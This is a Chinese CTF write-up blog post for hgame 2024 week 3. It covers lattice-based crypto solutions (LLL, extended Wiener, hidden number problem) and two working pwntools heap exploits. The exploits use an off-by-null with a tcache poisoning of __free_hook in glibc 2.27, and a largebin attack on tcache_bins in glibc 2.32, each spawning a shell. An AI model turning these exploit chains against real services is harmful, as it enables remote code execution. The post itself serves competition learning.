[hgame 2024 week3] crypto/pwn

news2024/12/21 0:46:59

第2周作完了不知道扔哪去了,先记录下第3周,因为官方WP已经出来,顺便把没出的题复现一下。最近的比赛都比较不错,相当于近期知识点的总结,有点心经的意思。

Crypto

matrix_equation

题目很短,结了一个式子,求p,q,r

其中temp = (p<<256)+q*k1+r*k2 是83位长,提示p,q,r长度与temp正当,先走一步,再走一步

from Crypto.Util.number import *
import hashlib
from secret import p,q,r
k1=getPrime(256)
k2=getPrime(256)
temp=p*2**256+q*k1+r*k2
hint=len(bin(temp)[2:])
flag='hgame{'+hashlib.sha256(str(p+q+r).encode()).hexdigest()+'}'
print(f'hint={hint}')
print(f'k1={k1}')
print(f'k2={k2}')
"""
83
k1=73715329877215340145951238343247156282165705396074786483256699817651255709671
k2=61361970662269869738270328523897765408443907198313632410068454223717824276837
"""

 这个题p左移了256位,如果结果是83位则前边必定被减掉,所以可以先不看p,而是以2^256和k1,k2来造格  k1*q+k2*r +c =0 mod 2^256来解一个最小值

M = matrix(ZZ,[[1,0,k1],[0,1,k2],[0,0,2^256]])
L = M.LLL()
for l in L:
    print(hex(l[0]*k1 + l[1]*k2))
'''
[ -9396324357950573888994599 -15154059265021257630097517   5851117074945081723062478]
[ 33281308486653930151733737  -4066293048823621784993250  65301243525031258000907285]
[ 46397424257679676851556254 -57263293525378453480844839 -45515665156713370235083473]

-0xb9742e27428eb7ed3daa0fffffffffffffffffffffffffffffffffffffffffffb28fa4ecb9455aea7f732
0xfbe506b40e73be0aa62bd000000000000000000000000000000000000000000360413813a0faa442adc15
-0xab2673dd080f4d3d3e0d00000000000000000000000000000000000000000025a65126f9f57cd80e9ad1
'''

根据结果0行是最小值,尾部符合83位特征。得到q,r,而头部的数字就是p

#hex(L[0][2]) 0x4d705b1346baa515808ce  83位
q,r = -9396324357950573888994599, -15154059265021257630097517
p = 0xb9742e27428eb7ed3daa1

hex(p*2^256+q*k1+r*k2)

flag='hgame{'+hashlib.sha256(str(p+q+r).encode()).hexdigest()+'}'
#hgame{3633c16b1e439d8db5accc9f602f2e821a66e6d80a412e45eb3e1048dffbb0e2}

exRSA

这题的模板来自lazzzaro的博客,3个d都很小只有768位,n是2048位,给出了3个d对应的e

from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getStrongPrime(1024)
q=getStrongPrime(1024)
phi=(p-1)*(q-1)
e1=inverse(getPrime(768),phi)
e2=inverse(getPrime(768),phi)
e3=inverse(getPrime(768),phi)
n=p*q
c=pow(m,0x10001,n)
print(f'e1={e1}')
print(f'e2={e2}')
print(f'e3={e3}')
print(f'c={c}')
print(f'n={n}')

"""
e1=5077048237811969427473111225370876122528967447056551899123613461792688002896788394304192917610564149766252232281576990293485239684145310876930997918960070816968829150376875953405420809586267153171717496198336861089523701832098322284501931142889817575816761705044951705530849327928849848158643030693363143757063220584714925893965587967042137557807261154117916358519477964645293471975063362050690306353627492980861008439765365837622657977958069853288056307253167509883258122949882277021665317807253308906355670472172346171177267688064959397186926103987259551586627965406979118193485527520976748490728460167949055289539
e2=12526848298349005390520276923929132463459152574998625757208259297891115133654117648215782945332529081365273860316201130793306570777735076534772168999705895641207535303839455074003057687810381110978320988976011326106919940799160974228311824760046370273505511065619268557697182586259234379239410482784449815732335294395676302226416863709340032987612715151916084291821095462625821023133560415325824885347221391496937213246361736361270846741128557595603052713612528453709948403100711277679641218520429878897565655482086410576379971404789212297697553748292438183065500993375040031733825496692797699362421010271599510269401
e3=12985940757578530810519370332063658344046688856605967474941014436872720360444040464644790980976991393970947023398357422203873284294843401144065013911463670501559888601145108651961098348250824166697665528417668374408814572959722789020110396245076275553505878565603509466220710219260037783849276475397283421068716088638186994778153542817681963059581651103563578804145156157584336712678882995685632615686853980176047683326974283896343322981521150211317597571554542488921290158122634140571148036732893808064119048328855134054709120877895941670166421664806186710346824494054783025733475898081247824887967550418509038276279
c=1414176060152301842110497098024597189246259172019335414900127452098233943041825926028517437075316294943355323947458928010556912909139739282924255506647305696872907898950473108556417350199783145349691087255926287363286922011841143339530863300198239231490707393383076174791818994158815857391930802936280447588808440607415377391336604533440099793849237857247557582307391329320515996021820000355560514217505643587026994918588311127143566858036653315985177551963836429728515745646807123637193259859856630452155138986610272067480257330592146135108190083578873094133114440050860844192259441093236787002715737932342847147399
N=17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434399552818635352768033531948009737170697566286848710832800426311328560924133698481653594007727877031506265706341560810588064209681809146597572126173303463125668183837840427667101827234752823747483792944536893070188010357644478512143332014786539698535220139784440314481371464053954769822738407808161946943216714729685820896972467020893493349051243983390018762076812868678098172416465691550285372846402991995794349015838868221686216396597327273110165922789814315858462049706255254066724012925815100434953821856854529753
"""

根据模板来填数

#多组低解密指数攻击
#https://lazzzaro.github.io/2020/05/06/crypto-RSA/
import gmpy2 
from Crypto.Util.number import long_to_bytes 

for i in range(1000):
    alpha2 = i/1000
    M1 = int(gmpy2.mpz(N)**(3./2))
    M2 = int( gmpy2.mpz(N) )
    M3 = int(gmpy2.mpz(N)**(3./2 + alpha2))
    M4 = int( gmpy2.mpz(N)**(0.5) )
    M5 = int( gmpy2.mpz(N)**(3./2 + alpha2) )
    M6 = int( gmpy2.mpz(N)**(1.+alpha2) )
    M7 = int( gmpy2.mpz(N)**(1.+alpha2) )
    D = diagonal_matrix(ZZ, [M1, M2, M3, M4, M5, M6, M7, 1])
    B = Matrix(ZZ, [ [1, -N,   0,  N**2,   0,      0,      0,    -N**3],
                     [0, e1, -e1, -e1*N, -e1,      0,   e1*N,  e1*N**2],
                     [0,  0,  e2, -e2*N,   0,   e2*N,      0,  e2*N**2],
                     [0,  0,   0, e1*e2,   0, -e1*e2, -e1*e2, -e1*e2*N],
                     [0,  0,   0,     0,  e3,  -e3*N,  -e3*N,  e3*N**2],
                     [0,  0,   0,     0,   0,  e1*e3,      0, -e1*e3*N],
                     [0,  0,   0,     0,   0,      0,  e2*e3, -e2*e3*N],
                     [0,  0,   0,     0,   0,      0,      0, e1*e2*e3] ]) * D

    L = B.LLL()

    v = Matrix(ZZ, L[0])
    x = v * B**(-1)
    phi_ = (e1*x[0,1]/x[0,0]).floor()
    try:
        d = inverse_mod( 65537, phi_)
        m = long_to_bytes(int(power_mod(c, d, N)))
        if b'hgame' in m:
            print(i)
            print(m)
            break
    except:
        pass

#hgame{Ext3ndin9_W1en3r's_att@ck_1s_so0o0o_ea3y}

HNP

可以简单的看成b = [m*t%p%(2^32+1) for t in A]也就是flag与t相乘模p再取后32位

from Crypto.Util.number import *
from secret import flag

def encrypt(m,p,t):
    return [(ti*m)%p for ti in t]

m=bytes_to_long(flag[:63])
length=m.bit_length()+8
p=getStrongPrime(length)
n=32
t=[getRandomRange(0,p) for _ in range(n)]
enc=encrypt(m,p,t)
res=[i%(2**n+1) for i in enc]

print(f'p={p}')
print(f't={t}')
print(f'res={res}')

"""
q=11306299241774950053269547103284637414407835125777245204069367567691021928864773207548731051592853515206232365901169778048084146520829032339328263913558053
A=[3322008555255129336821309701482996933045379792432532251579564581211072677403244970423357912298444457457306659801200188166569132560659008356952740599371688, 8276764260264858811845211578415023343942634613522088631021199433066924291049858607045960690574035761370394263154981351728494309737901121703288822616367266, 9872291736922974456420418463601129094227231979218385985149661132792467621940722580745327835405374826293791332815176458750548942757024017382881517284991646, 4021521745142535813153669961146457406640791935844796005344073886289668464885011415887755787903927824762833158130615018326666118383128627535623639046817799, 24569151076141700493541155834378165089870615699969211988778938492838766214386066952596557490584021813819164202001474086538804476667616708172536787956586, 3218501156520848572861458831123822689702035242514803505049101779996231750875036344564322600086861361414609201214822262908428091097382781770850929067404210, 3563405987398375076327633444036492163004958714828685846202818610320439306396912425420391070117069875583786819323173342951172594046652017297552813501557159, 4914709045693863038598225124534515048993310770286105070725513667435983789847547225180024824321458761262390817487861675595466513538901373422149236133926354, 10800566112999947911006702454427389510409658644419749067440812458744391509925306994806187389406032718319773665587324010542068486131582672363925769248595266, 623364920052209790798128731089194813138909691039137935275037339503622126325928773037501254722851684318024014108149525215083265733712809162344553998427324, 4918421097628430613801265525870561041230011029818851291086862970508621529074497601678774921285912745589840510459677522074887576152015356984592589649844431, 7445733357215847370070696136653689748718028080364812263947785747353258936968978183471549706166364243148972154215055224857918834937707555053246184822095602, 9333534755049225627530284249388438694002602645047933865453159836796667198966058177988500184073454386184080934727537200575457598976121667373801441395932440, 5010854803179970445838791575321127911278311635230076639023411571148488903400610121248617307773872612743228998892986200202713496570375447255258630932158822, 6000645068462569819648461070140557521144801013490106632356836325002546400871463957228581143954591005398533252218429970486115490535584071786260818773166324, 8007260909124669381862034901556111245780505987082990804380814797200322228942432673939944693062470178256867366602331612363176408356304641672459456517978560, 10179739175373883376929532026389135792129233730601278687507041429438945598523995700184622359660605910932803141785598758326254886448481046307666042835829725, 8390072767717395701926289779433055672863880336031837009119103448675232362942223633129328309118158273835961567436591234922783953373319767835877266849545292, 7875011911562967874676113680693929230283866841475641162854665293111344467709424408623198370942797099964625447512797138192853009126888853283526034411007513, 5293772811020012501020124775214770193234655210319343058648675411115210453680753070042821835082619634341500680892323002118953557746116918093661769464642068, 2613797279426774540306461931319193657999892129844832159658771717387120246795689678231275371499556522396061591882431426310841974713419974045883021613987705, 9658126012133217804126630005236073513485215390812977974660029053522665282550965040288256074945246850744694519543358777252929661561636241161575937061521711, 2982535220844977621775139406357528876019349385634811795480230677982345697183586203669094998039995683973939721644887543907494963824968042199353945120367505, 107289984878191849357180490850397539311037762262082755398160292401340078782643246498566039415279868796667596686125847400130898160017838981308638814854641, 120993130590874228473811314869823704699012435303134640953201808807618070048912918046616664677916248813062043597607873728870402493717351447905456920806865, 2253040652771796284266254261719805768102740653097446325869783812201171144150768875885963729324915714812719138247784194752636928267712344736198611708630089, 8650007272154283057350664311505887535841268767424545016901418989555620869091145651216448723200240914143882774616678968725523914310965356875681207295242434, 9628747829107584650014156079928108801687158029086221730883999749044532846489666115473993005442192859171931882795973774131309900021287319059216105939670757, 10846936951522093706092027908131679912432689712451920718439096706435533926996215766191967052667966065917006691565771695772798711202812180782901250249613072, 1606865651227988736664127021678689299989045439998336603562232908863405778474520915170766771811336319655792746590981740617823564813573118410064976081989237, 6239063657591721097735049409610872941214078699330136826592958549212481802973973104374548555184907929255031570525343007518434357690480429981016781110249612, 1855365916387114620581029939707053701062476745235578683558063796604744448050278138954359506922875967537567359575662394297579958372107484276360920567730458]
b=[2150646508, 1512876052, 2420557546, 2504482055, 892924885, 213721693, 2708081441, 1242578136, 717552493, 3210536920, 2868728798, 1873446451, 645647556, 2863150833, 2481560171, 2518043272, 3183116112, 3032464437, 934713925, 470165267, 1104983992, 194502564, 1621769687, 3844589346, 21450588, 2520267465, 2516176644, 3290591307, 3605562914, 140915309, 3690380156, 3646976628]
"""

上模板,在这个博客里有几种模式,但没给这种,只需小修即可。

#https://tover.xyz/p/HNP-note/
#b = [m*t%p%(2^32+1) for t in A] 给出模(2^32+1)的余

A0,b0 = A[0],b[0]
A0i = A0.inverse_mod(q) 
T = 2**32+1
Ti = T.inverse_mod(q)
R = 2^(512-32-1)
M = matrix(ZZ, 32+2)
for i in range(1,32):
    M[i,i] = -q 
    M[-2,i] = A0i*A[i]%q
    M[-1,i] = A0i*Ti*(A[i]*b0 - A0*b[i])%q
M[-2,-2] = 1
M[-1,-1] = R
L = M.LLL()
for l in L:
    B0 = l[-2]
    x0 = (B0*T+ b0)*A0i%q
    flag = long_to_bytes(int(x0))
    if b'hgame' in flag:
        print(flag)
    
#b'\xff\xff\xff\xff\xff\xff_hgame{H1dd3n_Numb3r_Pr0bl3m_has_diff3rent_s1tuati0n}\xff\xff\xff\xff'

PWN

你满了,那我就漫出来了!

从名字看就是溢出了

libc-2.27 add有off_by_null

先建一堆块 [0xf0,0x20,0x20]+[0xf0]*8 

释放尾部7个后再释放0,tcache填满0会进入unsort

再释放2重建(没有edit)填充pre_size为0+1+2,并利用off_by_null 将3块头0x101改为0x100

释放3时与部分发生合并,这时再建块用到unsort时将与1,2块重叠

用光tcache后再重建0使用unsort将unsort的fp,bk指针落到1块上,show 1得到libc

再释放2后利用unsort建大块与2重叠,修改fp指针,将块建到free_hook

from pwn import *

context(arch='amd64',log_level='debug')
libc = ELF('./libc-2.27.so')

#p = process('./vuln')
p = remote('106.14.57.14', 31774)

def add(idx,size,msg):
    p.sendlineafter(b"Your choice:", b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendafter(b"Content: ", msg)

def free(idx):
    p.sendlineafter(b"Your choice:", b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b"Your choice:", b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

for i,v in enumerate([0xf0,0x20,0x20]+[0xf0]*8):
    add(i,v,b'A')

for i in [4,5,6,7,8,9,10,0]:
    free(i)

free(2)
add(2,0x28, flat(0,0,0,0,0x160))
free(3)

for i in [4,5,6,7,8,9,10,0]:
    add(i, 0xf0, b'A')

show(1)
libc.address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

free(2)
add(11,0x50,flat(0,0,0,0,0,0x21,libc.sym['__free_hook']))

add(12,0x20,b'/bin/sh\x00')
add(13,0x20,p64(libc.sym['system']))

free(12)

p.interactive()

Elden Ring Ⅲ

只能块500-900的块,有UAF

由于只能建大块,所以无法直接使用tcache,这里就需要用largetbinAttack将一个地址写到mp_+0x50的tcache_bins处,这里原本应该是0x40就是tcache块最大索引值,最大0x410,不过mp_这个位置在libc里并不是个符号,需要通过后边块最大值0x408来查找。

当修改tcache_bins为大值后,再释放的块就会进入到tcache中。tcache是个好东西,基本没啥检查,随便改。

largebinAttack方法,先释放一个大块进入unsort,再建比它大的块unsort会进入到largebin(作为已归位largebin),这时再释放一个unsort(比它小一点,作为未归位largebin),并修改largebin的bk_nextsize为目标地址,再建大块让第2块unsort归位到largebin这样,与前一个largebin重建指针,会在目标地址处将第2块的地址写上。

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./2.32-0ubuntu3.2_amd64/libc.so.6')

cmd = b'>'
def add(idx,size):
    p.sendlineafter(cmd, b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())

def free(idx):
    p.sendlineafter(cmd, b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(cmd, b'4')
    p.sendlineafter(b"Index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(cmd, b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", msg)

p = process('./vuln')

add(0,0x510)
add(1,0x500)
add(2,0x500)
free(0)  #large
add(3,0x600) #建比0大的块0块从unsort进入larget
free(2)  #unsort #0是归位的largbin 1是未归位的unsort

edit(0,b'00')
show(0)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3000 -0x4a0 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")


edit(0,b'A'*0x10)
show(0)
p.recvuntil(b'A'*0x10)
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x290
print(f"{heap_base = :x}")

large_500 = libc.sym['__malloc_hook'] + 0x4a0
heap_cc0 = heap_base + 0xcc0

#mp_  tcache_bins 可通过搜
'''
0x7ffff7fbf280: 0x0000000000020000      0x0000000000020000
0x7ffff7fbf290: 0x0000000000020000      0x0000000000000008
0x7ffff7fbf2a0: 0x0000000000000000      0x0001000000000000
0x7ffff7fbf2b0: 0x0000000000000000      0x0000000000000000
0x7ffff7fbf2c0: 0x0000000000000000      0x0000000000000000
0x7ffff7fbf2d0: 0x0000000000000040 (tcache_bins)     0x0000000000000408
0x7ffff7fbf2e0: 0x0000000000000007      0x0000000000000000
'''
mp_ = libc.address + 0x1e3280

#修改bk_nextsize 再建大块时2块从unsort归位到largetbin 0块bk_nextsize的地址+20处被写入2块的堆地址
#tcache_bins 由原来是0x40块被改大,再释放时会进入tcache
edit(0, flat(large_500,large_500, mp_+0x50-0x20, mp_+0x50-0x20))
add(4,0x600) #unlink 
#0x7ffff7fbf2d0: 0x000055555555ccc0      0x0000000000000408

free(1)
free(2)
edit(2, p64(((heap_base+0xcd0)>>12)^libc.sym['__free_hook']))
add(1,0x500)
add(2,0x500)
edit(1, b'/bin/sh\x00')
edit(2, p64(libc.sym['system']))
free(1)
#gdb.attach(p)
#pause()

p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1466214.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据可视化在商业领域有哪些重要性?

数据可视化在商业领域的重要性体现在多个方面&#xff0c;它通过将复杂的数据集转化为直观、易于理解的图形和图表&#xff0c;帮助企业和组织做出更明智的决策。以下是数据可视化对商业的一些关键重要性&#xff1a; 提高决策效率&#xff1a;通过直观的图表和图形&#xff0c…

防御保护第八、九、十、十一天笔记

一、内容安全 1、DFI和DPI技术 --- 深度检测技术 DPI是一种基于应用层的流量检测和控制技术&#xff0c;它会对流量进行拆包&#xff0c;分析包头和应用层的内容&#xff0c;从而识别应用程序和应用程序的内容。这种技术增加了对应用层的分析&#xff0c;识别各种应用&#xf…

主流开发语言和开发环境:探索编程世界的基础

在当今这个快速发展的技术时代&#xff0c;软件开发已经成为推动创新的重要力量。无论是构建下一代应用、开发先进的算法还是创建复杂的系统&#xff0c;选择合适的编程语言和开发环境都是至关重要的。在本文中&#xff0c;我们将探讨当前流行的几种主流开发语言以及它们常用的…

敏捷项目管理在现代软件开发中的应用

在现代软件开发领域&#xff0c;项目管理起着至关重要的作用。随着技术的不断进步和市场需求的快速变化&#xff0c;传统的项目管理方法已逐渐无法满足软件开发的需求。因此&#xff0c;敏捷项目管理应运而生&#xff0c;成为许多软件开发团队的首选方法。本文将探讨敏捷项目管…

基于Python3的数据结构与算法 - 04 快速排序

一、快速排序思路 快速排序特点&#xff1a;快 步骤&#xff1a; 取一个元素p&#xff08;第一个元素&#xff09;&#xff0c;使元素p归为&#xff1b;列表被p分成两部分&#xff0c;左边都比p小&#xff0c;右边都比p大&#xff1b;递归完成排序。 因此我们可以得到快速排…

数字化转型导师坚鹏:政府数字化转型案例研究(包括省市政府)

政府数字化转型案例研究&#xff08;包括省市政府&#xff09; 课程背景&#xff1a; 很多地方政府存在以下问题&#xff1a; 不清楚标杆省政府数字化转型的成功案例 不清楚直辖市政府数字化转型的成功案例 不清楚地级市政府数字化转型的成功案例 课程特色&#xff1a…

实验室电磁铁工作环境及操作方法

1、工作环境 &#xff08;1&#xff09; 环境温度5℃-30℃ &#xff08;2&#xff09; 相对湿度不大于70% &#xff08;3&#xff09; 无腐蚀性气体以及对绝缘有损害的气体 &#xff08;4&#xff09;无其他电磁干扰设备 2、电磁铁使用操作方法 &#xff08;1&#xff09…

有哪些适合程序员的副业

如果你经常玩知乎、看公众号&#xff08;软件、工具、互联网这几类的&#xff09;你就会发现&#xff0c;好多资源连接都变成了夸克网盘、迅雷网盘的资源链接。 例如&#xff1a;天涯神贴&#xff0c;基本上全是夸克、UC、迅雷网盘的资源链接。 有资源的前提下&#xff0c;迅雷…

VBA代码实现excel表格输入内容自动调整行高、列宽

打开excel表&#xff0c;如图1 右键点击表标签名&#xff0c;如&#xff1a;“sheet1”&#xff0c;弹出菜单&#xff0c;点击查看代码 代码编辑窗口 点击图中蓝色部分 点击worksheet&#xff0c;创建子程序&#xff0c;Private Sub Worksheet_SelectionChange(ByVal Target…

实习日志30

概要 高拍仪硬件通信原理&#xff0c;WebSocket源码解析&#xff08;JavaScript&#xff09; WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。 WebSocket 使得客户端和服务器之间的数据交换变得更加简单&#xff0c;允许服务端主动向客户端推送数据…

关于使用Mxnet GPU版本运行DeepAR报错解决方案

1.引言 我们经常使用GPU来训练和部署神经网络&#xff0c;因为与CPU相比&#xff0c;它提供了更多的计算能力。在本教程中&#xff0c;我们将介绍如何将GPU与MXNet GluonTS一起使用。 首先&#xff0c;确保您的机器中至少有一个Nvidia GPU&#xff0c;并正确安装了CUDA以及CUDN…

【算法分析与设计】1的个数

&#x1f4dd;个人主页&#xff1a;五敷有你 &#x1f525;系列专栏&#xff1a;算法分析与设计 ⛺️稳中求进&#xff0c;晒太阳 题目 编写一个函数&#xff0c;输入是一个无符号整数&#xff08;以二进制串的形式&#xff09;&#xff0c;返回其二进制表达式中数字位…

Windows系统中定时执行python脚本

背景&#xff1a;本地Windows系统指定目录下会有文件的修改新增&#xff0c;这些变化的文件需要定时的被上传到git仓库中&#xff0c;这样不需要每次变更手动上传了。 首先编写一个检测文件夹下文件变化并且上传git仓库的python脚本(确保你已经在E:\edc_workspace\data_edc_et…

深度学习环境配置常见指令

首先打开anaconda prompt&#xff0c;激活对应虚拟环境。 导入torch并获取对应版本 import torch torch.__version__导入torchvision并获取对应版本 import torchvision torchvision.__version__ 检查cuda是否可用 torch.cuda.is_available() 获取CUDA设备数 torch.cuda.…

【知识整理】Git Commit Message 规范

一. 概述 前面咱们整理过 Code Review 一文&#xff0c;提到了 Review 的重要性&#xff0c;已经同过gitlab进行CodeReview 的方式&#xff0c;那么本文详细说明一下对CodeReivew非常重要的Git Commit Message 规范。 我们在每次提交代码时&#xff0c;都需要编写 Commit Mes…

Rabbitmq入门与应用(一)-rabbitmq安装(docker版)

Rabbitmq入门与应用-rabbitmq安装(docker版) RabbitMQ简介 什么是RabbitMQ&#xff1f; RabbitMQ is a message broker: it accepts and forwards messages. You can think about it as a post office: when you put the mail that you want posting in a post box, you can …

C++:string类

标准库中的string类 string类 1. 字符串是表示字符序列的类 2. 标准的字符串类提供了对此类对象的支持&#xff0c;其接口类似于标准字符容器的接口&#xff0c;但添加了专门用于操作单字节字符字符串的设计特性。 3. string类是使用char(即作为它的字符类型&#xff0c;使用…

《Python 语音转换简易速速上手小册》第9章 特定领域的语音处理(2024 最新版)

文章目录 9.1 语音处理在不同行业的应用9.1.1 基础知识9.1.2 主要案例:智能客服机器人案例介绍案例 Demo案例分析9.1.3 扩展案例 1:医疗语音助手案例介绍案例 Demo案例分析9.1.4 扩展案例 2:语言学习应用案例介绍案例 Demo

【动态规划专栏】背包问题:1049. 最后一块石头的重量 II

本专栏内容为&#xff1a;算法学习专栏&#xff0c;分为优选算法专栏&#xff0c;贪心算法专栏&#xff0c;动态规划专栏以及递归&#xff0c;搜索与回溯算法专栏四部分。 通过本专栏的深入学习&#xff0c;你可以了解并掌握算法。 &#x1f493;博主csdn个人主页&#xff1a;小…

FPGA领域顶级学术会议

FPGA领域顶级学术会议主要有FPGA,FCCM,FPL和FPT。 1 FPGA 会议全名是: ACM/SIGDA International Symposium on Field-Programmable Gate Arrays 网站是:https://dl.acm.org/conference/fpga FPGA常年在美国举办,每年2月,偏FPGA基础研究; 该会议的论文免费下载。这个比…